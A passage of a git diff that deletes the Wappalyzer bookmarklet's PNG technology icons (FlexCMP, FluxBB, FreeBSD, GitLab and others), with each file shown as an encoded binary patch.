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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FlexCMP.png b/Wappalyzer/drivers/bookmarklet/images/icons/FlexCMP.png deleted file mode 100644 index 46a9ac940816692c0396d72d0094f2190c7a5079..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 237 zcmV?$N(Os~-IY%*=nK_z83P=UdS7jRp#HHy+9{mhi_5hXMqgez09Q00000NkvXXu0mjf;-O}s diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FluxBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/FluxBB.png deleted file mode 100644 index 0e2c71b3de3f27f9870e6ef7812c9a79cb4b88a2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 332 zcmV-S0ki&zP)T7?hL{R7s7xl{^IU`24miwKt*a0!RNDG8^r e*xbzc?G$>*AP7>oXzBm}0000h8tD#jL8VgMEY5($!K> zQd(VF=Hlj*m6Y!0?t6WEVqIdSoup!AVrp$_tfj1TadWJ$tb2KTw6?Upw!OW&y~V!8 zN<>P<#>LIX%}Pv4QcP0b*4~SSi;InmK|DcPSz4TxoH;l-?(XiEUA`Lt0004WQchC< zK<3zH0001aNklAFd(EbHZyWy!ONp+&E=6!!JI z!W6a@V{HNr-0nZwjNs|{VdsJ(bR|kTU-mp!9Dx)FD==|^wC4G%5RV87+Hbvq{1U*f wIj9{T)xm`Z3N+52GS!9A@=DhKjkVK$4m<${k!$P^r~m)}07*qoM6N<$f`5dj;s5{u diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Font Awesome.png b/Wappalyzer/drivers/bookmarklet/images/icons/Font Awesome.png deleted file mode 100644 index b93360b3c1b401b19b0eae020494b5b5c75385bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 738 zcmV<80v-K{P)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGi!vFvd!vV){sAK>D02*{fSaefwW^{L9 za%BKeVQFr3E>1;MAa*k@H7+qRNAp5A0006}Nkl2*@Y?NoQSnM>o!}zy7 z<^!ApAb-(pHe=%K^?I7F>(|FIpWqZQ+7vcRrBX*}wols9H0?XT-&+eCZaE$?Re`6C zMk6ZDR;wiyxHgVK^qKLBX_|-H?e?fjV*P$!%Vx6&h+Re47hHA%2l(r~hvSLO=M*3? z4C9PA*#k#tHX;6)OeRlqUSz~S%L;|UZmM{ZIiDDg)}#MTNU7%WTCKK=@xgHnOba0K zia4=jJki&DK3}xPo{a-WXWrgiF1JuD7E|4BH)Msx_5*JMDC+~Ozmw)&0Oh=A^>@}e+t+FDl6Q*Gf|dGL>vTFAxhr%%3%Fme z*R^yyy~w-ab|@73fq#-~2eF^z+{k1y`?ejuiZyiBIE>gw4DEM}*#dYMY%u9Li*GWX zM}xjn)oRt?h+V?D3Wh#om0R|ba4MzLACUjU Usdr%V{Qv*}07*qoM6N<$g1xd#sQ>@~ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fortune3.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fortune3.png deleted file mode 100644 index f4fd9e460b9fa431901383171961b315474a8f8f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2787 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FreeBSD.png b/Wappalyzer/drivers/bookmarklet/images/icons/FreeBSD.png deleted file mode 100644 index 9f0cf0d067ab164863364158a38b1f9587b9fe20..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2512 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/FrontPage.png b/Wappalyzer/drivers/bookmarklet/images/icons/FrontPage.png deleted file mode 100644 index f055a189fd02bb332ce7b2f88b640f7e84ea3149..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 357 zcmV-r0h<1aP)7@5jMh#%7$zxuv8&sDpG8G0hN-qow{R43B?AbW|oo~8#Fou_l&j-=qb26ONj?*?htr+TUNym#JiQP>~jU_XZGSJ+$h1>C#7IH(1D+5WPvP2jN746@b-?uvWO zgw4?BsI$^$C;h2(+)ybX;TDSTzp){{*neP<8(shXgC!eeG{9$^V+40tjq?v$Fv`FN zsdebX6Xvkvo)iBgMTT&MZRw!V7ZBP)HD05Dd<}9x#YYggLwT3>00000NkvXXu0mjf DZw#cV diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Fusion Ads.png b/Wappalyzer/drivers/bookmarklet/images/icons/Fusion Ads.png deleted file mode 100644 index bbc62955dec9034772fe89462dac7691a714e40d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 240 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyS^+*Gt`eQwfk?7xtxRH_oO`64 zTZFuwkG!>~f|0eNuBoDio}z}XqKdkbocxPlG9X=yB|(0{3=Yq3qyaf4o-U3d6}O&F zv=(Ym;BgTa`2YUj^{tG;2PCMpUXO@geCynKv={8 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/G-WAN.png b/Wappalyzer/drivers/bookmarklet/images/icons/G-WAN.png deleted file mode 100644 index 6e8707a7909b9006ef0cbfac9ff5d18cd2c783c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPHV3GfMV1=2up;J|_Z|NrlP&iNL| zVJr#q3ubV5b|VeQ@%40Z45_%~+q;pG*^#H&A~&Iu@#Js*nU7|NgfKWTH*67exNNfE z>uITw{XP$_d}HBFmMTk2zxE}shIjdOxB6+<-e0RvEqVQW-Cqu-AB;W+*&oH8@oNRy N>FMg{vd$@?2>`P(K0*Kh diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GX WebManager.png b/Wappalyzer/drivers/bookmarklet/images/icons/GX WebManager.png deleted file mode 100644 index 9e3555a2e880d514f8994a3feb0f098ba4eb8394..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 681 zcmV;a0#^NrP){mv#J2q^-RxS~odMDS0jg$NpdfvAFr7RuO(*a(uw!Y+tGEbMI4 zDJo03P}FhFzvNvs%HEd&!y23D^E!QZdjn zXuZ+haVxTtF^a!lII94dwGm`ugu(FeX5*8mw|Mo!lqG>js8*07-002B6xd{#d7@-g zV{Dy9ac?wdvhmU5d%Ur~#VTMJgbEx+1(OKGoREJDA)h$*H32&0fh zRxzj;2Jz5FaQT_jJa>A^jr#+y|8k2j|6H)WW~2rH6vh$4r7ED25@RpU@2v5}PI7dw zc>Bk@eE-Ki_S%H3#4_@TNMuN)s_$-644?paCKT6ht@!Nvf@}XgU}L>eGNxl708=1U z04&QW0~JiCGY%Hwou6*=!@mPt6CsI`X&qdN5re^BvzBI_TGq?wXYH$?(^VXwn1Rmv z)HFdSa1YwVWSNS_?|1)ug-af>NdW9H4&%UH0|1zt1TgcoNpRTY+$6yN#V%1O&AO~e P00000NkvXXu0mjfviUv* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gallery.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gallery.png deleted file mode 100644 index 6d86cb263fb01aa9f171d5f5a30da9a2dc92941c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 596 zcmV-a0;~OrP)AbVhKgoIwuFnMbuqEhz;H~&cwBT~gqL)T&&ZfaDDWm^%&s)7YV-4vP4F_` zyb=3YbCVpQ*=Pp=@;7%kc-_sR$;2jC}K18Mj~XxD)=pZapt!I4YnZec~xvY9%IT2%Lpo^Dnyw zgZ2kkrx*+b*bZItGq~`C!RTuV3$zY~BXNoswPZA-;mQWyv+&sIv9yX}MU^EY_o}MeMHz;%v&c#L(0c`^M{?*LT67JZ33~2jaB?VvGh;af zk_359`zjG7(5TmUbu6&mZtvp-RS(V)bbHe1e>m@&9QQ0?B({nSt3eRusG_I`wmg5! zvJRI8P4~tH+zrvLL8`EZvY^t0$UWP-zV>K`XillI6%8D}nj%EGZvWzrzj{DiML4mh iSI@3Do4cw1QQrZ|G1?VQEWMxr00009)XwW(zUu3RDMayWR$D9y+3oR zBM}}INOZB_0hXtSL9o++FzC{ydrdz95X2}(q~iFsPigeN+r#INGT*z+T<4w`m|Qzi zFrwK3HJX)-QmJfWt?c5^rEi()-)G@mgXYG&On2Ymh4)%C*W{%O6Jl;lJ=mlc1K3U+ zyVauAkyh{S5x#kZ=ic9k)(*)+vJiRp_FhK43Jp>sn#BMPGmWp0)9i0EyZ&d{q#jB} zlNiMyCJR}~MdAPx8n8s9WHj;kkJFs!OehfyVudDrc?_**q*5v|4<(D$m$DO%uK&PP z_b#We&QOe_5f7nxOU9HehG8L#wHVN3o1|nFm|ovzwkuQJkI^7T2P83~K}GNmC+1LvQ zZhS40+2DB5FC}x!zsZ<#CDrP%>FxQjjn#_0a!HbJea_r(wj&?RC_-!}E zj3qO&LKDR(1~H+D!@d8Qy0T5HFEbqxlNgl9D@$)MdGT)!F8{^C%|=^lTGw9X(D^}~V*jU${s zdw{3~4O20x_bgVCI?Yi?q5j*O%tix0qi%$yEP7bL-N$@PPd{-&CP(YRk?d zk)iBBvqLf%SlBqp!nuYR;g^S*z4AMaj_hB#!v{Y<<|eg@7}}El2Pqn<&l&8b6#xJL M07*qoM6N<$g0Goc?f?J) diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Gauges.png b/Wappalyzer/drivers/bookmarklet/images/icons/Gauges.png deleted file mode 100644 index 73849914f666df6a9a3faecb9c3621b267edf05a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 156 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`$(}BbAr-fhfBgS%udF&F@e0Em zwikYwdCFQTj}<)~Qq!JbK`rK?vhRY!s$_1Uw7DUTYgX9Z4Z^&&T%@2QPoq`OXm;hVWd&jWiD0KL!(KilSx8Cn82_v0TYko zkbMGSF*Zw>B!F2AW?#Y<*03AGYQPw5W4!zQ^zcGc3YavV!&mb1)9?Ab&v(gQ7%0qFn9c{sir?_b8w6S{rT|gnk_W&RS5siknw~KQ7 zb>$B&IPBo}!saGeR={kA(NXB{hxT?TEp<_lzfO7S@|QiGt8e|^04>JWxAN}~yXWQt z0{C|X1F-FcRSV3{!t+t+?}LsGXf%OV>qJ|)?ys+1`}u1FbeNjo&inSc*Xb1d#P>pk z5U%ZA2s4b1KyNR!w}Ht76;FaZ$g}a};o5yb5ekV{1MqqM5nW9^Zxr5t=C<2Ihl=k- zC?uV*tia3^3=ctfH?+1uLp>M_f`S4E#X9Reo|O}}4gV`SpeWb2b&QYt2`3JSfFA+@ z@OfZm8OF!pSwD1kKvNUc)q%kPMLG|ndJu_ zPv{`PS5e=DjP+J*8-#^$I1q(}PPBy!j}qf_ADsIlw)%#;n1Mb!&qtxJ7dqOZu@Q`Q zP*Vd{2B@lpBAu7V<&G&p0qh4jb1L@i*|RrMs=Mgx2@(v1uZ8B8Ao`LW3JW)=sdlky z*)7Ir@U#nBTENsG3$mt0I#E#}(CNK2H99UID8h?p;@*k;B7y6wT+%WOl$0+pJPZMU zco4r2>|3z32vZXFUPrA_71})99C`~3=7ej;4-Yz%{AOeW^ z+u!5f{POgrtb~{ZlD|$TDee}^t2LCBErkWJtjNhYHUpUnIsP<)p?Zk#nnwm1VyO2e4{^xjC4afZ<^|nEHC=`c41mK9YpXE-0;Z>6Y*a!F4oWvhhCv9#>SbzJkL_b2*-iJ;FHekX_!c-*oJ)>dJ05njwmh?!~m84&#gc2cgipivbQ zbxwU@!)iZz9oHH9eyYox4g~_?#rKwyYa2Fgu)YS%OR%^gov>P^xW3GcO4CM0Y7PmP zZzlc65IP88tm^%7QQl<8?-$342Ls^Qk@nj*B*3agwxic0pGnT>;r88Dlgg zksP1>M?et_29Mr`6=j{}%?(bxE(rKQ1cA^?X%UpdJ`cEE;I!|GZ-8|Tc3jf(vd1sT zQg@GlH~9Rsl-UdCQ{MfroF5KQQQq+T%7;@dynv;7uq?y+suZwU zrI^hszgyR(-Ro z{pRb~0*uvGMur6A&tYmDW+uTr4YM;c=FG5R3!*JElbX>^_RVH8(h5+f-Qe`elukgg zy1MaN7Zb&)lW`*YvYwWf9UAN1bhZb0+7Y6wUC!}pqm|gCHlkt-Xs#K_Ow)2*b&r@! z%Fw5uM*Zr45IqVY`gfTrDiY!!keX)Tin5vHv?gK`>xoS;pwZNmt*Jz<%;%c&7T;vv z|J`ZiffK>U-T(jq07*qoM6N<$f`*!`WB>pF diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Get Satisfaction.png b/Wappalyzer/drivers/bookmarklet/images/icons/Get Satisfaction.png deleted file mode 100644 index 06c62411e2dd522aee51d7127f1dfab3da716c4d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 160 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!P=HT}E0DIdw6wCaYHDg~Zf^en z|G)E`cd0;8#*!evUTpX=YGW8#W z!_K`q;f_04RLYvepUjqM@zB-!yY04fC6mwOXKUI0CNRaVnyOX~G>5^{)z4*}Q$iB} DH7_yz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GetSimple CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/GetSimple CMS.png deleted file mode 100644 index 061842afe21e3861d1ef33301bb259cc2a919dc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 213 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!aez;VtGJx%|Ns9#e)@Fm_{qml zo^LpDwiWS0JsVq@<{>uAru-pscK@ zqAI5dL`w3CNYEWSF4{6lonYn_=SR!pv)66GaYnYm*I!xNY;JVF$QIWALccvw`hk$ki u(+cGV!N3`TnO#}}XAV5+(+OC_z_9Ry!Mv-&Ry%=)GkCiCxvX1#sl&2Vn<582;m6em5S6Eb5QBhq}-`?5X8>loiIzBNm zF}t+3zO{ei?1c-LuU@-$^Y)zw&)&TM@bTlPPhYaRgrPxz2Ez_w{CAvi*V1D`=wdG{CMbcw~*KC^w--gmr322 zdNe^)L8@#5Q)Ys+67!_vn^-(Tjws5sJ-wK6``LrDwrsnfwKen2ZLEG2 SJ!1rPA%mx@pUXO@geCydf3h0@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GitLab.png b/Wappalyzer/drivers/bookmarklet/images/icons/GitLab.png deleted file mode 100644 index d65722d94592bc501e0d1d37540362f8baba0954..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 856 